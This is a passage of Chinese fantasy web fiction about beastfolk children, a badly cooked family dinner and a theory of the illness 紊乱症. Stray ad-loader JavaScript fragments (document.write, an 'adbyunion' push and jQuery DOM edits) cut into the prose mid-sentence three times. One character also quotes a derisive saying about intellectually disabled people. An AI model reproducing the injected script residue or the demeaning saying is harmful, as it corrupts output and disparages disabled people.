这件事她和猎刀有默契,毕竟当事人是红雪,只有红雪点头才算是她们家接受了道歉。 明白了两人的意思,红雪又转头去看面前蹲着的钟鹄和与自己相谈甚欢的钟欢。 两对诚恳水润的虎眼凝视着她,她不由得有些感慨,这真的是亲母女诶。 经过刚才的一番交流,她自然是知道这件事不过是起源于一个美好的误会,再不犹豫地点头。 “我原谅你们。” 说完这番话,她又抬头看向她们身后的保镖。 之前那次她没敢仔细观察这些人,见他们高高大大的害怕还来不及,现在倒是都记住了,也不再害怕了,“也谢谢你们,对不起误会你们了。” 保镖们都受过严格的训练,不会在不被允许的时候失态。 有人发出一阵轻微的咳声。 ——除非忍不住。 钟鹄扫了他们一眼,笑着说:“想笑就笑吧,这没什么不好的。” 故作严肃的保镖们一下都笑开了,一个个蹲下来和小妹妹说话。 保镖们壮实的大腿把裤管崩出明显的肌肉线条来。 知道这些人没有坏心的红雪没忍住好奇地上前戳了戳一位保镖姐姐的大腿,然后直接被这位姐姐抱起坐在了大腿上。 红雪惊叫一声又和大家一起欢笑起来。 “我也想要!”钟欢见状扑向红雪,又被另一位姐姐抱起凑到一块儿。 猎刀和沈莫失站在一边笑看小孩子疯闹,又过来几位眼熟的保镖,都是昨晚被猎刀逮住揍过一顿的,一连声儿地和红雪道歉。 “没事的,不过是一场误会。” 猎刀与昨晚不听解释就是干的作风不同,此时柔声安抚这些妹妹弟弟们,“昨晚回去伤得怎么样?有很严重吗?” “没有没有,休息一晚好了大半了,您实在是有分寸,只是疼了一阵罢了。” 交谈了几句的保镖们与猎刀亲近些了,相处也更加自然,佩服之情溢于言表。 “说起来您可真是太厉害了,就那一刀下去我都没看清。” “就是就是,哎呦没反应过来我就躺地上了……” 沈莫失看着猎刀难得失措地应付这些新晋迷妹迷弟们,捂嘴开心得都怕之后被猎刀寻衅报复。 两拨本来不认识还有误会的人就这么混到了一块儿。 “真是不可思议啊。”钟鹄没有参与到这两拨人里面,站在一旁与沈莫失感慨道。 “谁说不是呢?”沈莫失礼貌回复。 钟鹄低头瞥了一眼这位神秘出现在领地内的失忆者,抖了抖耳朵笑着附和。 直到送走钟鹄等人后,和猎刀一起苦恼着客厅里的一堆礼品的沈莫失才突然想起来,她还不知道那只小白虎想要什么作为钥匙的报答呢。 虽然看钟鹄的态度是不赞成她回报钟欢的,但她还是暗自记下了这件事。 “嗯……之后看看有什么能顺手帮帮忙的地方吧。” “在想什么呢?” 红雪抬着一红木盒子招呼沈莫失,“快来帮忙啦,这些东西也太多了,这都是什么?能吃吗?” “唉唉,就来了。” 沈莫失暂时搁置了内心的想法,忙着去应付小祖宗。 忙碌了一天后,终于打发走了兴奋的红雪,有了独处时间的沈莫失开始同步新碎片里携带着的记忆。 嗯?这是什么…… 原来还可以这样。 红雪带来的校园风波终于算是彻底落下帷幕了。 可谁都没想到的是,某一天的餐桌上,红雪兴致高昂地向家人宣布自己有了最好的朋友。 “就是钟欢妹妹!” 话音落下,红雪摇头晃脑地观察两人的反应。 原来是小白虎钟欢啊,她还以为红雪这几天开开心心的又什么都不说是准备了什么惊喜呢。 沈莫失一边听红雪的分享,一边享受着每一口正常的饭菜。 一些东西总要失去过才知道珍惜,闻言配合地感叹道:“哦!那女孩人不错的,家长也讲道理,很好呀。” 得到了回应的红雪咧开了嘴,尾巴甩起砸得椅背噗噗作响,都顾不上吃饭了,絮絮叨叨地向家人分享在学校里的见闻。 猎刀抖抖胡须, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 在一边笑意盈盈地听着,偶尔也附和两句。 相处的时间久了,就算是猫脸,沈莫失也能看出些猎刀的情绪了,知道她这时候是真的高兴。 “原来钟欢妹妹是大我两个年级的学长。” “嗯?她比你年龄小吗?” “嗯嗯,”红雪摇摇头,语调下降又上升,像是在唱歌,又像是在撒娇,“她比我大两岁呢。” “那你应该叫她姐姐呀。”猎刀纠正她的称呼。 沈莫失鼓着嘴凑热闹,在一旁点头,发出含糊的呜呜声。 红雪撇撇嘴向妈妈撒娇,“她可不像是姐姐,我才是姐姐呢,她一点都不成熟,像个小孩子一样,还得我照顾她。” 沈莫失听着面前一米四几的小孩子说另一个一米五几的孩子不够成熟的话,笑得差点被饭呛死。 猎刀急忙递纸巾给她。 红雪嫌弃地白了她一眼没管她。 “我们的教室其实距离很近,就在同一栋楼里,不过好奇怪,我觉得我之前从来没见过她。” 她越说越激动,小脸红扑扑的,双手像是在拉手风琴,尾巴也摇出风声来。 “可她其实很明显,总有一堆人围着她,我们也经常能碰到,我之前怎么从来没发现她呢?” 看来红雪今天是无心吃饭了。 已经吃饱了的沈莫失与猎刀两人放慢了进食速度,有一搭没一搭地动筷子,由着红雪说尽兴。 “她每次见到我就凑过来和我一起走,也不管我们是不是一个方向,真的是个小傻子,一直粘着我,等上课了还要我把她赶回去。” 红雪不间断地说了好久,桌上的菜都凉了好一会儿了。 后面的话听着都像是在抱怨,可她的语气一点不像是不耐烦,细细述说两人的每一次相遇,从成为好朋友说到两人成为了最好的朋友。 “总之,我们决定成为最好的朋友!”喜气洋洋的钟欢向妈妈宣布了这个好消息。 最后好的朋友之间自然是会串门的。 钟欢要来家里做客这件事早在前一天就被红雪嚷嚷得全家都知道了。 “好啦好啦,我们都知道了,她也不是第一次来家里了不是吗?别那么担心,我看她也挺喜欢我们家的。” 沈莫失穿着一身睡衣挠头,劝说红雪赶紧去睡觉,虽然明天休息,但也不能这么折腾啊。 红雪大晚上的不睡觉,突发奇想要给家里做个大扫除。 “是啊宝宝,家里很干净了。” 猎刀和沈莫失统一阵线,劝阻红雪早点去休息,“再说,今晚好好休息明天才能玩得开心不是吗?” “可是、我。”红雪耷拉着一张小脸,被两人合力推回了卧室。 合上红雪的卧室门,门外的两人对视一眼,齐齐舒了口气,各自转身回房去睡觉。 第二日。 不知是信任红雪一家还是怎么的,这次保镖们没有随身跟着,在送来钟欢后就散布了开,由着钟欢一个人进门做客。 红雪蹦跳着去应门,递给钟欢一双毛绒绒的新拖鞋,邀请钟欢进来。 钟欢完全没有注意到这次的地板比上次更光滑,沙发也较上一次亮了一个度,连装饰的暖黄色布料都换成了一块翠绿色的新布。 红雪也没跟她提自己昨晚上干的事情,两人挤挤挨挨地坐到沙发上聊天。 这次两小只终于是坐的同一个沙发。 沈莫失端来饮料与零食放置在沙发边的桌案上,就打算进屋,把空间留给两人谈天,却意外被钟欢拉住了。 沈莫失和红雪都有些疑惑,“怎么了吗?” 8. 我要打十个! “你就是那天一起打败了保镖姐姐哥哥的那个人?” 钟欢坐在沙发上,仰起头来,蔚蓝澄澈的双眼一眨不眨地看着沈莫失。 “你们只有两个人诶!好厉害!我上次都没来得及跟你说说话。” 沈莫失举起食指纠正道:“准确来说,只有猎刀妈妈一个人哦,我只是个打酱油的。” 钟欢:“打酱油?” 沈莫失叉腰点点头,“以及打call。” 红雪:“打call?” 与身边的小伙伴对视一眼,谁都没明白这是什么意思。 看到对面两小只一脸茫然的表情,沈莫失才反应过来,“对哦,你们不知道,打酱油是指这件事跟我其实没多大关系,打call就是在加油打气。” 说着,她举起两只手,装作手心握着什么东西的模样,前后挥舞了两下。 钟欢虎头一点一点,张着嘴好像懂了又好像没懂。 沈莫失轻笑下,呼噜了一把虎头,“没事,不懂也没关系,我其实也不是很懂。” “意思是说你其实不是那么厉害?” “嗯……”沈莫失纠结着蹙起眉头,托着手摩挲下巴,“那倒也不能这么说。” 沈莫失弯下腰,凑到钟欢面前,指着自己说:“我呀,其实还是挺厉害的哦。” 红雪看她这幅样子,仿佛看到了街口那位老奶奶在吹嘘自己年轻时候的光辉事迹,但她也有些好奇,暂时放任了沈莫失往下说。 钟欢双腿激动地抖了抖,“你有多厉害?能打过几个保镖姐姐?” “哼哼哼,一百个不是问题啦。”沈莫失挑起眉头,骄傲地伸出一只手指晃了晃。 “哦——”钟欢星星眼,几乎想要扑到沈莫失身上去猛蹭一番,“那你简直就是个英杰!” 一旁的红雪一听就知道她这是在开玩笑逗小孩子,觉得之前信了半分的自己真是有点蠢,无语地从沙发上起身把嘿嘿笑的沈莫失往房里推。 “好啦我们知道你很厉害了快回去吧。” “红雪,你家人都好厉害呀。”钟欢羡慕地向红雪说道。 “你怎么真信了呢。” 红雪心累地叹了口气,觉得这里好像只有自己一个人是靠谱的,拎起小伙伴的耳朵点醒她。 “她只是在骗小孩子罢了。” “她说的不像是在骗小孩呀。”偏偏虎头虎脑的钟欢真的信了。 红雪腹诽,被小孩看穿了还叫什么骗小孩呢。 “别管她啦!我们来聊聊别的吧。” 沈莫失进门后就没管两个小孩子在家里怎么闹腾了,她近期有了点新的想法,正急于验证。 当她意识到孩子们的笑闹声已经停止有一阵子的时候,才发现天色都暗了下来,已经过了平时的饭点了。 “今天的晚餐是怎么解决呢?” 跟红雪生活了一阵子,她几乎都习惯了红雪包揽全局的生活了,现在才突然意识到今天红雪是有客人的。 那么晚餐是谁来负责? 她也就算了,总不好让小客人饿肚子,还是说小客人已经回家去了? 来到客厅,沈莫失才发现红雪与钟欢两个小朋友居然头靠头在沙发上睡着了,身上还盖着块小毯子。 “真是小孩子啊。” 沈莫失感慨道,钟欢都玩累了,红雪这个昨晚点灯做家务的自然累得更快。 不过如果红雪在这睡着了。 沈莫失的视线凝重地转向餐厅的方向,那桌上的菜是什么情况? 猎刀从厨房出来,就看到沈莫失鬼鬼祟祟地弯腰凑近了餐桌上的一盘菜嗅闻,好像自己的鼻子有红雪那么灵敏一样。 看到猎刀,沈莫失迅速直起身来,双手举起以示清白,又迅速背过手去。 “啊哈哈,真巧啊。” 这人到底在说些什么呢? 猎刀懒得理她日常抽风的举止。 “去把孩子们都叫起来吧,该吃饭了,钟欢我也跟她妈妈说过了,今天就留在我们家吃。” 沈莫失犹豫了下,还是询问道:“这好吗?钟欢她毕竟还是个小孩子,第一次来我们家。” “有什么不好的?” 猎刀知道沈莫失在顾虑什么,她对自己这阵子的所作所为还是有点自知之明的。 “就算是我,认真起来也还是能好好做出正常的菜来的嘛,你自己不也看到了。” 瞟了眼桌上的菜色,确实看着都蛮正常的样子,可惜没能提前尝一口试试。 担忧的沈莫失转念一想,现实里哪来那么多厨房杀手啊。 做饭这么简单的事情,猎刀认真来干肯定是可以做到的,之前只是为了小小报复一下她和红雪罢了。 红雪对猎刀做菜难吃的印象应该也是好多年前留下的,这么多年了,猎刀不至于还一窍不通。 这看着都可以了,吃起来应该不至于很糟糕。 这么想着沈莫失放下了心头的大石去叫两个小孩子起床。 红雪醒来后反应比沈莫失想象的还要大,惹得钟欢在一边频频看她。 她一脸懊恼的样子道:“我们还是出去吃吧!” “什么呀,这都做好了,不吃不是浪费了吗?” 沈莫失已经被猎刀说服了,觉得再怎么样也不会超出家常菜的下限掉到克家菜里去。 “对呀对呀,”钟欢也在一旁拉着红雪,“阿姨的手艺很不错呀,你怎么了?” 红雪还是不同意,猎刀有些落寞地道:“好吧我们出去吃。” 红雪还没来得及高兴,猎刀又接着说:“我还以为自己有机会亲自招待你的朋友……这可能是我第一次也是最后一次帮你招待朋友了。” 暴击啊,猎刀真的已经不在意红雪之前那次说的话了吗?还是说这句话也是真情实感? 沈莫失转头去看红雪,果然孩子已经沉默下来了,愧疚地看着妈妈。 她真是为这母女俩的关系操碎了心啊。 沈莫失这么想着开口给两人台阶下,“我们还是在家里吃吧,毕竟是妈妈的一片心意。” 红雪艰难地点了点头,猎刀落寞的神色顿时从脸上消失不见,热情地招呼钟欢坐下吃。 一旁的钟欢全程就没看懂这家人的眼神官司,随着猎刀的动作坐在了红雪身边。 红雪转头郑重地对钟欢说:“答应我,不管这顿饭发生了什么,我们都还是最好的朋友。” “嗯?”钟欢不知道为什么小伙伴从睡醒开始就不太对劲,但还是回复道,“我们当然是最好的朋友啦,什么都不会改变这一切。” 附赠一个开朗阳光的露齿笑。 红雪拍了拍钟欢的手臂,艰涩地说:“好,我相信你。” 红雪的态度搞得沈莫失都有些慌了,再次怀疑起桌上的这些菜,没有第一时间动嘴。 看着这家人都没动手,作为客人的钟欢自然也就没动手。 几人你看看我,我看看你,钟欢只觉得红雪家的餐前仪式真是特殊又有趣,大家沉默着难道是在向大地之母祈祷吗。 她也在心里默默祈祷了两句,觉得自己这是融入了红雪家的习惯。 终于,猎刀咳嗽两声,“大家怎么都不吃啊。” 说着就给钟欢夹了两筷子,又雨露均沾地照顾到了红雪和沈莫失,虽然红雪巴不得别照顾到她。 钟欢觉得这饭前仪式大概是结束了,高兴地拿起筷子开干。 桌上三人默契地转头注视着钟欢的方向,也幸好虎妹心大没在乎这诡异的景象。 食物一进口钟欢就快速地看了眼红雪,红雪忐忑的心终于是死了,不敢去回小伙伴的眼神。 于是钟欢又收回视线,犹犹豫豫地咀嚼了几下。 沈莫失心惊胆战,“怎么样?” 猎刀期待万分,“怎么样?” 看着猎刀期待的眼神,钟欢又咀嚼几口咽下肚,随即绽开一个灿烂的微笑,像个小天使,“是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 惊喜!很好吃哦,阿姨手艺真不错。” 听到夸奖的猎刀笑开了花,“那你就多吃点呀。” “……嗯。”钟欢笑着点头。 沈莫失放心了一些,终于敢下口,觉得红雪果然还是童年心理阴影罢了。 她就说嘛,厨房杀手在现实里是很少见的。 可惜专注于自己的饭碗的她没有注意到红雪和钟欢怜悯的眼神。 “yue。” 猎刀情绪低落地和红雪一起收拾碗筷。 “抱歉啊,我还以为我这阵子做了那么多次,厨艺有所进步呢。” 红雪手心湿漉漉的,就用手肘蹭了蹭失落的妈妈。 “没关系的,我知道妈妈很努力了,而且,现在至少已经很好看了不是吗?” “也只是好看罢了。”猎刀担忧地看向客厅里的两人。 最后还是由红雪和沈莫失合作,快速下了锅面,才不至于让钟欢第一次来家里做客就饿着肚子回家。 “猎刀阿姨可真、厉害啊。” 这或许是钟欢第一次不知道该怎么评价一个人的厨艺,纠结半天后吐出一个厉害来。 “呵呵,”沈莫失啃着饼干对钟欢吐槽,“其实你挺幸运的,我住了好一阵子才吃到猎刀做的饭,你居然第一次上门做客就尝到了。” “幸运啊……”钟欢难得语塞。 夜里,沈莫失主动敲响了猎刀的房门。 “你居然会来找我,真是稀奇,”开门后,情绪明显比白日里淡了许多的猎刀转身,示意沈莫失进门,“肯定是有什么事吧?” 由于书房成为了沈莫失的卧室,猎刀就在卧室里多安放了一副桌椅,她拉开椅子,自己直接坐到了床上。 和沈莫失相处这么些日子了,两人间多少有了些微薄的信任,猎刀也就不再像是最初那样警惕她。 沈莫失在椅子上落座,没多拐弯,坦白了说自己的目的,“我想了解一下兽人的身体结构。” “那些书还不够你看吗?”猎刀整理自己手臂上的毛发,没多在意她的话。 “书上写的哪有自己了解的靠谱?” 猎刀瞥她一眼,“那你想怎么了解?解剖一个?难道要我给你去抓一个来吗?” 她没想过沈莫失是想对她动手,毕竟以这些时间的了解,她不像是会对身边人下手的性格,很多事情上甚至显得优柔寡断。 “解剖兽人什么的可太血腥了,”沈莫失皱皱鼻子,“我怎么会做出这种事呢?” “把你的手给我就好。”她笑得很温和,像只是提出了一件小事。 猎刀皱眉,锐利爪子从肉垫里探出来,明显是误解了,“要我的手难道是种不血腥的研究方式吗?你大晚上不睡觉来讨打的?” “喔喔,”沈莫失后仰,举起双手示意猎刀把爪子收起来,“不是这个意思啦,是指把手伸出来。” 猎刀抖抖胡须,“哼,谅你也不敢,不过还是先说清楚你的方法。” 沈莫失:“哎呀,这很难形容,就比如这样,你能看到我手上有什么吗?” 她说着平举起一只手来,手掌摊开。 猎刀观察着这只无毛无鳞的瘦弱手掌,手指纤长,肤色健康,“有什么吗?” “大概是一种‘内力’吧。”沈莫失说得轻描淡写。 猎刀听得满脸问号,“红雪她说你一直没法回想起来内力的使用方法。” “我当然是想不起来的,因为我从来就没有过内力。” “那你这是什么意思?” “还记得我说过我不是这个世界上的人吗?” “是啊,你不是垃圾星上的人。”猎刀很奇怪她为什么突然重复这一点。 “呶呶呶,”沈莫失摇头,决定明明白白地把这个问题说清楚。 她神神秘秘地用手指着自己,盯着猎刀的双眼认真道,“我不是垃圾星上的人,也不是第三联邦的人,更不是这个宇宙里任何一颗星球上的人。” 9. 哪个大人物又不是个普通人呢 闻言,猎刀瞪圆了一双猫眼,“你是说?” 沈莫失点头,“没错哦,所以这种力量与你们所说的‘内力’是完全不同的,教授我这种能力的人称呼其为‘精神力’。” 说到精神力时,沈莫失指了指自己的脑海。 “这种力量来源于人的大脑,是一种异世界的力量体系,如果我没猜错的话,这实际上是一种与‘内力’相似却又截然相反的力量。” 这是沈莫失同步了钟欢手链上的那块碎片记忆后才想起来的力量,源自某些自己曾经游历过的世界。 她在对着自己试验了一阵子后终于敢对其他人下手了。 猎刀一脸“你又在说什么怪话”的表情。 奇怪的一副猫脸把沈莫失都逗笑了,猎刀好像还是没搞清楚的样子。 “搞不清楚的话就算了,直接当做我有一种可以外放的‘内力’就是了。” “那不就是‘神力’吗?”猎刀表情严肃起来,有些敬畏地看着沈莫失的掌心。 沈莫失歪头思索了下所谓的“神力”,想起来这是“内力”的前身,传说中那块大地之母的圆盘还完整时半兽人们所拥有的力量。 “如果你这么理解更方便的话那就这么理解吧。” 沈莫失不是很在意这一点,得意地继续往下说,“重要的是精神力的用途,它可以让我在不用解剖你的情况下搞清楚你体内的情况。” 猎刀反应过来了,“所以你要我伸出手来?” “没错,所以,把手给我吧。”沈莫失笑嘻嘻地把手往前递出,邀请猎刀。 猎刀却收回了自己的手紧紧交握在身前,“这是为了什么呢?” “什么为了什么?” “研究兽人的身体结构是为了什么呢?”猎刀低头不去看沈莫失热情邀请的模样。 沈莫失意识到猎刀的拒绝之意,有些疑惑道:“你不是知道的吗?我答应过红雪,为了报答你们,会给你的紊乱症想想办法的,这也是我这阵子一直在研究的内容。” “紊乱症是只有兽人会患上的疾病,你是我唯一的病人,又是家里唯一的兽人,我肯定是要来找你的呀。” 猎刀深深叹了口气,如果卸下锋利带血的外衣,再卸下柔软亲和的面具,她就是这么一副丧气的模样。 这种表情沈莫失在晚餐时间也是见过许多次了。 “说真的,我和红雪都只是把你的研究当作一场游戏罢了,”猎刀避开沈莫失探究的视线,“最终也不会有什么结果的。” “我和之前的那些医生可不一样。”沈莫失并不赞同猎刀消极的态度。 “每个医生最初都是这么说的……你一个月前连紊乱症是什么都不知道呢。” 猎刀不以为意,并没有被沈莫失的话语激起动力来。 “那就最后再试一次呢?” “不会有任何改变的……你如果真的很想报答我们的话,请在我走后照顾好红雪,她还是太小了。” 猎刀扣着掌心的肉垫,冷淡地说着自己身故后对沈莫失和红雪的安排。 沈莫失被猎刀的反应噎了一下。 她知道猎刀对于治疗紊乱症的态度十分消极,但没想到能消极成这样。 她索性破罐子破摔地激将猎刀,“你连死都不怕了,难道还怕再一次尝试吗?” “失望可是比死亡还要可怕的东西。”猎刀并不受激将法的影响,坚定自己的想法。 沈莫失鼓起脸,捏手成拳去锤自己的大腿。 看来今天她是说服不了猎刀了,尝试了太多次不同的疗法的猎刀明显已经是放弃治疗了。 如果要说服她,或许还是要先研究出切实可行的方法来才好。 驯鹿领主领地内的兽人不算多,零星几个邻居沈莫失也都不熟,仅仅是几面之缘,她熟悉的人里还有谁是兽人呢? 沈莫失暗暗思索着最佳人选。 …… “好呀。”没有太多的疑问,钟欢直接就应下了沈莫失的请求。 是天使! 沈莫失一把抱过虎妹在怀里蹭了蹭,发出呜呜的不明声响,钟欢到也任由她蹭,嘿嘿笑着拍打沈莫失的背部。 “等等,你就这么答应她了?”一旁的红雪摊着手满脸不可置信。 钟欢窝在沈莫失怀里回答她,“你不是也答应她了吗?再说了,研究紊乱症是好事情呀。” 红雪闻言脸色复杂,“我最开始只以为她在开玩笑,你知道的,她老是说些怪话,我都习惯不去想她说的话到底是什么意思了。” “喂喂,我人还在这呢。”被评价为“老是说怪话”的沈莫失抗议道。 “可她很厉害哦。”从第一次见面开始,钟欢就对这一点深信不疑。 “都说了不要她说什么你就信什么啊。”红雪扶额叹息自己被忽悠瘸了的女友。 “跟你说要研究紊乱症也没有骗你呀。”钟欢帮着沈莫失给红雪辨析,她对于两人曾经的约定也是有所了解的。 “嗯嗯嗯!”沈莫失把脑袋搁在虎妹头上,感动得直点头,“我承诺过的事情有哪一点没办到的嘛。” 红雪语塞,这么一想好像确实。 她最初也是没想到这个被自己从垃圾山上捡回来的“女儿”能有这么大能耐。 但是看着这么个弯腰对小孩子撒娇的家伙,真不想承认这也算是个厉害的人这一点啊! 那些厉害的人物,不都应该像是领主大人那样稳重吗? “说真的,你觉得就凭你,真的能解决紊乱症吗?” 红雪叹了口气,换上认真的神色审视着沈莫失。 十岁的年龄下却像是藏着个成熟的大人一般,“这可是那么多大人物都解决不了的疾病。” 由于猎刀妈妈的特殊状况,红雪对紊乱症比这个年龄的小孩子要有更深刻的认识。 她知道这是绝症,是可以击垮一位战士的绝症,也是近百年来都没有丝毫办法去治愈的绝症,甚至发病的原因都还存疑。 这时候沈莫失跳出来说自己有办法解决这种疾病,就凭借那种看不见摸不着的力量,要她怎么相信呢? 红雪和猎刀真不愧是母女啊。沈莫失第无数次感慨道。 “所以我才需要你们呀,”沈莫失一手揽着钟欢,又伸出另一只手捞过年纪轻轻就一把年纪的红雪,“哪个大人物又不是个普通人呢?” 红雪不再反驳了,这一点还是比猎刀要好的,至少她还愿意再做一次尝试。 沈莫失笑着低头,三颗脑袋凑在一起交谈着。 …… “果然如我所料。” 松开钟欢的肉垫,沈莫失低声喃喃了句。 房间里其他两人的耳朵都灵敏得很,此时都支棱起来询问沈莫失,“怎么样?到底是怎么回事。” 抬眼看到两小只探究又难掩忐忑的表情,沈莫失眼珠子一转,低下头落寞道:“紊乱症的形成机制很特殊,或许确实是一种目前无法完全治愈的疾病。” “啊……” 钟欢倒还好些,红雪瞬间就露出了失落的神情。 不过只这一瞬,便调整好了表情,抬起手想要安抚沈莫失,“没关系的,反正开始之前我们就已经知道这件事了不是吗?情况也没有变得更坏。” 红雪拍了拍沈莫失的肩膀,示意她别太在意。 躺着的钟欢由于身位低,敏锐地注意到了低头的沈莫失的表情,这可不像是在失望的样子。 沈莫失对她wink一眼,印证了钟欢的第六感。 果然,接着就听到沈莫失一脸无辜地笑起来,“但是调理到和正常人一样还是有办法的。” “啪!”红雪一个巴掌拍到沈莫失的脑袋上,“你给我反省一下我之前为什么不相信你的话啊!”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>钟欢坐起来缩了缩脑袋,没再帮着沈莫失说好话了。 “啊哈哈。”皮了一把的沈莫失摸着自己被拍了一巴掌的脑袋笑得开心。 红雪还是手下留情了嘛,这一巴掌要是加上内力辅助,她多少还是要疼的,但是并没有,看来也不是很生气。 “大家都这么严肃,我开个玩笑活跃一下气氛嘛。” 沈莫失自认为不是什么“病人没有整活,我给您整个活吧”这种程度的笑话,所以就还好嘛。 鼓着脸生气的红雪握手成拳又砸了沈莫失一下,“好了,快点给我解释清楚!” “咳咳。” 皮完了也被教训完了的沈莫失终于开始认真解释她的发现。 “首先我们需要知道的一点是,虽然兽人和半兽人的样貌从外观上看起来差别很大,但是实际上,两者的身体结构很是相似。” 沈莫失抬起两只手,分别指了指红雪和钟欢两人,“更神奇的是,你们两人的大脑结构也是完全相同的。” 红雪和钟欢皱着眉对视一眼,像是在课上向老师提出疑问一般举起手来。 “这位同学有什么问题吗?”沈莫失也很配合这幅情景。 “我们都是人,大脑相似这难道有什么奇怪的吗?” 没错,沈莫失在心底里暗道,都是人的话,大脑相似当然是不会有什么问题的,毕竟都是“人脑”的结构。 但是问题在于,在沈莫失的观念里,应该只有她自己才是“人”才对。 而半兽人红雪与兽人钟欢,一定要分的话,沈莫失只会把她们分类到“亚人”。 可她们的大脑结构,和她也是相同的。 人脑和猴脑都会有区别,怎么会有两个种族大脑结构相同的事情存在呢?简直像是什么造物主的玩笑。 “可是你是白犬,而欢欢同学是白虎对吧。” 两人点头,在这个世界的观念里,即使兽类不同,他们也是同一个种族,就像不论肤色如何,大家都同属于人类这个大家庭一样。 沈莫失没想要纠正两人的观念,毕竟她才是这个世界上的异类,“没关系,不用搞懂这一点,我们先继续吧。” “接下来我要说的话,可能会与你们的常识有所不同,那就是——即使是兽人,体内也是存在‘内力’的。” “诶?”钟欢捏了捏自己的爪子,“有吗?可是我从来都感觉不到。” 红雪也怀疑地盯着沈莫失,却看她这次不像是在开玩笑的样子。 “当然是感觉不到的,因为与半兽人不同,兽人体内的‘内力’是无法被本人控制的。” 沈莫失说着转头看向红雪,“我记得你之前说过,内力是源自于身体各处的一种能量?” “没错。” “而当这股能量被你聚集起来的时候,比如聚集在手部,这块部位就会变得有力。”沈莫失抬手握拳。 “是啊。”红雪继续点头,不明白这时候重复这段话是为了什么。 “而兽人的力量往往比半兽人要大,所以即使你的技巧更多,你也打不过那只欺负你的熊。”沈莫失指了指红雪,翻她的黑历史。 红雪撇撇嘴,“是啊,半兽人光凭力量几乎是打不过兽人们的。” “为什么兽人们拥有这么大的力量的?”沈莫失反问红雪和钟欢,“既然你们都是人?” 红雪沉默思索起来,联想到沈莫失之前说过的话,猜想道:“难道是因为兽人们体内的内力。” 沈莫失笑笑不置可否。 钟欢不像红雪一般想了那么多,犹豫着猜道:“天生的?” 沈莫失一个清脆的响指表示赞同,“bingo。” 大概猜到这句怪话是什么意思的红雪提出质疑,“哈?那你之前还解释那么多。” 红雪蹦起来就又要去打她,沈莫失忙打哈哈安抚她,“听我慢慢讲嘛。” 10. 救命良药 “与大众的认知相反,兽人并不是没有内力,而是无法感知到也无法使用内力,光看内力的强弱程度的话,兽人们体内的内力水平反而是远高于半兽人的。” “不过与红雪你所认为的相反,并不是因为内力强大所以兽人们的力量强大。” 沈莫失指了指皱眉思索的红雪,“你是知道的不是吗,它与我所拥有的精神力截然相反,内力是源自于除大脑以外的身体的一种能量。” “所以身体能力越强大,内力才会越强大。” “可是内力对我身体的增幅又要怎么解释呢?” “兽人是无法运用内力的,”沈莫失耐心向红雪重复道,“兽人甚至连自己体内存在内力这件事都并不清楚。” “运用手脚,我们能够攀上高峰,可一个人连自己有手有脚都不知道的话,他们又要怎么去使用呢?” 钟欢不禁疑惑地问出声,今天知道的事情太颠覆她们以往的常识了,“可这是为什么?” “好问题,这是为什么呢?就是因为你们的大脑。”沈莫失自问自答,默默叹了口气。 人体在进化过程中难免出现一些bug,不过兽人们面对的bug带来的影响格外严重些。 就像她之前说过的,兽人和半兽人们的身体结构,简直就是什么造物主的玩笑。 可偏偏又没有严重到绝种的地步,那句话怎么说的来着?“很多人其实智力不正常,但是生活能自理,所以被当成是正常人,他们还生孩子,于是傻子越来越多。” 这句话虽然是用于嘲讽,可意外适配于兽人们的情况。 “你们的大脑并不认为这是它所拥有的身体,它不认为自己的耳朵长这样,不认为自己的手长这样。” 即并不认为一个正常的“人”的身体会存在兽耳等兽化特征。 这是本世界原住民的盲区,他们不可能意识到自己天生的大脑其实与自身是不适配的。 某种可能是,所谓的半兽人与兽人,在未知时间的过去,都是与沈莫失一般无二的“人类”。 出于某些意外,身体突变成了现在这样,可遗憾的是,大脑并没有发生变化。 不过她也不是考古专家,并不知道这个世界上曾经发生过什么。 “我们的耳朵有什么问题吗?”两人面面相觑。 “只是你们的大脑这么觉得罢了,”沈莫失一手一个去撸毛绒绒的耳朵,“我倒不觉得这有什么问题。” 面对两张疑惑的小脸,沈莫失继续上课。 “大脑对身体产生了认知障碍,于是转而去攻击自己,要消除那些‘不应该’存在的身体部位,这就是紊乱症的病因之一。” “……之一?”钟欢晃了晃脑袋,恍惚听到了水声。 “没错,可别忘了你们的内力,对于大脑的攻击,身体可不会坐以待毙,内力就是身体进化出来应对大脑的手段。” 沈莫失双手握拳作对抗状。 “这就是紊乱症的另一个病因?”红雪恍然。 沈莫失点头,简单来说,就是人性和兽性的对抗——物理对抗。 钟欢:“那为什么半兽人不会受到紊乱症的困扰呢?” 沈莫失缓缓舒了口气,解释道:“既然是两方在打架,除了平局,无非就是我压倒你或者你压倒我。” “在半兽人的体内,便是大脑获得了胜利,所以红雪身上只有一小部分的兽人特征。” 沈莫失点点红雪,钟欢也随之看了过去。 “考虑到你出生后外貌都没有发生大的变化,从未听说过有人能在半兽人与兽人状态之间转换,所以显而易见的,这场胜负在你还在妈妈肚子里的时候就已经结束了。” “那我是脑袋输了吗?”钟欢伸出爪子指自己,问道。 沈莫失点了点头,又摇头。 “兽人的情况更复杂,母体中确实是大脑输了,所以出生后,你们的兽化程度就很高,可身体也没赢,毕竟,你可以放弃耳朵,放弃尾巴,难道还能放弃你的大脑吗?” 说着,沈莫失指向自己的脑袋,“那你可就死了。” “大脑有恃无恐,可已经成型了的兽人的身体又在不断激发出新的内力来对抗,因此,这场战争还在兽人们的体内持续不断,作为战场的兽人又怎么可能讨得了好,紊乱症,也就始终折磨着兽人们。” “大脑可真过分啊。”钟欢瘪嘴敲打自己的脑袋。 沈莫失呼噜了一把虎头制止她,安慰道:“它只是在以自己的方式保护你,两方都是。” 沈莫失在心里默默吐槽,自己打自己,这也是身体的传统艺能了,多少疾病都是因为这个啊。 “原来是这样……”红雪低头沉思,钟欢虽然懵懵懂懂的样子,不过大概也是理解了。 沈莫失松了口气,她总担心自己说得不够清楚,既然大家都理解了病因,那么接下来就是要研究治疗办法了。 “我们来聊聊治疗的方法吧……” “等等。”沉思的红雪突然截断了沈莫失的讲述。 “嗯?红雪小同学有什么问题吗?” “其他我都懂了。” 听到这话,钟欢敬佩地看了眼小伙伴。 小伙伴红雪继续问,“那内力是为什么?为什么我感受得到内力,但是欢、兽人却不行?” 